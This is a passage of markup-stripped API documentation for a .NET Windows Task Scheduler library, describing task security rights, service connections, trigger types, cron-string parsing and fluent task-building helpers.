Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal 